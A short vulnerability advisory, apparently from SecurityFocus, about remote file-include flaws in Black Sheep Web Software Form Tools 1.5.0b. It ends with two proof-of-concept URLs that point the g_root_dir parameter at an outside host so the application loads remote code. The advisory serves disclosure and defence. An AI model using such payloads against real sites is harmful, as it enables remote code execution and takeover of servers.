source: http://www.securityfocus.com/bid/26889/info

Black Sheep Web Software Form Tools is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Form Tools 1.5.0b; other versions may also be vulnerable. 

http://www.example.com/global/templates/admin_page_open.php?g_root_dir=http://www.example2.com
http://www.example.com/global/templates/client_page_open.php?g_root_dir=http://www.example2.com 